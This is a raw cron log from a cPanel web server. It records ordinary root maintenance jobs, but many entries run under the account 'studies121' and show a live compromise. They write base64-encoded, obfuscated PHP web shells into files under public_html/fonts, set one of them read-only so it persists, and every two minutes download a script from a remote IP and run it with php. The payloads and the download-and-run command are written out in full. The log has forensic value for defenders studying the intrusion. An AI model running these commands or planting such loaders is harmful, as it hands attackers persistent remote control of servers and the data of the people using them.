Sep 10 00:33:01 ip-184-168-122-23 CROND[4658]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 00:33:01 ip-184-168-122-23 CROND[4659]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:33:01 ip-184-168-122-23 CROND[4657]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 00:33:01 ip-184-168-122-23 CROND[4660]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:34:02 ip-184-168-122-23 CROND[4739]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:34:02 ip-184-168-122-23 CROND[4740]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 00:34:02 ip-184-168-122-23 CROND[4737]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 00:34:02 ip-184-168-122-23 CROND[4741]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 00:34:02 ip-184-168-122-23 CROND[4738]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:35:01 ip-184-168-122-23 CROND[4835]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 00:35:01 ip-184-168-122-23 CROND[4834]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 10 00:35:01 ip-184-168-122-23 CROND[4839]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 00:35:01 ip-184-168-122-23 CROND[4840]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:35:01 ip-184-168-122-23 CROND[4842]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 00:35:01 ip-184-168-122-23 CROND[4844]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 00:35:01 ip-184-168-122-23 CROND[4843]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:35:01 ip-184-168-122-23 CROND[4841]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 00:36:01 ip-184-168-122-23 CROND[4940]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 00:36:01 ip-184-168-122-23 CROND[4941]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 00:36:01 ip-184-168-122-23 CROND[4943]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:36:01 ip-184-168-122-23 CROND[4944]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:36:01 ip-184-168-122-23 CROND[4945]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 00:37:01 ip-184-168-122-23 CROND[5106]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:37:01 ip-184-168-122-23 CROND[5108]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 00:37:01 ip-184-168-122-23 CROND[5109]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 00:37:01 ip-184-168-122-23 CROND[5110]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:38:01 ip-184-168-122-23 CROND[5188]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 00:38:01 ip-184-168-122-23 CROND[5189]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:38:01 ip-184-168-122-23 CROND[5191]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 00:38:01 ip-184-168-122-23 CROND[5192]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 00:38:01 ip-184-168-122-23 CROND[5193]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:39:01 ip-184-168-122-23 CROND[5279]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 00:39:01 ip-184-168-122-23 CROND[5281]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 00:39:01 ip-184-168-122-23 CROND[5282]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:39:01 ip-184-168-122-23 CROND[5283]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 00:39:01 ip-184-168-122-23 CROND[5284]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:40:01 ip-184-168-122-23 CROND[5391]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 00:40:01 ip-184-168-122-23 CROND[5397]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:40:01 ip-184-168-122-23 CROND[5396]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 00:40:01 ip-184-168-122-23 CROND[5398]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 00:40:01 ip-184-168-122-23 CROND[5394]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:40:01 ip-184-168-122-23 CROND[5402]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 00:40:01 ip-184-168-122-23 CROND[5403]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 00:40:01 ip-184-168-122-23 CROND[5404]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 00:41:01 ip-184-168-122-23 CROND[5490]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:41:01 ip-184-168-122-23 CROND[5491]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:41:01 ip-184-168-122-23 CROND[5492]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 00:41:01 ip-184-168-122-23 CROND[5493]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 00:42:01 ip-184-168-122-23 CROND[5663]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 00:42:01 ip-184-168-122-23 CROND[5665]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:42:01 ip-184-168-122-23 CROND[5667]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:42:01 ip-184-168-122-23 CROND[5668]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 00:42:01 ip-184-168-122-23 CROND[5666]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 00:43:01 ip-184-168-122-23 CROND[5749]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:43:01 ip-184-168-122-23 CROND[5751]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 00:43:01 ip-184-168-122-23 CROND[5753]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:43:01 ip-184-168-122-23 CROND[5756]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 00:44:01 ip-184-168-122-23 CROND[5986]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 00:44:01 ip-184-168-122-23 CROND[5987]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 00:44:01 ip-184-168-122-23 CROND[5989]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:44:01 ip-184-168-122-23 CROND[5990]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 00:44:01 ip-184-168-122-23 CROND[5991]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
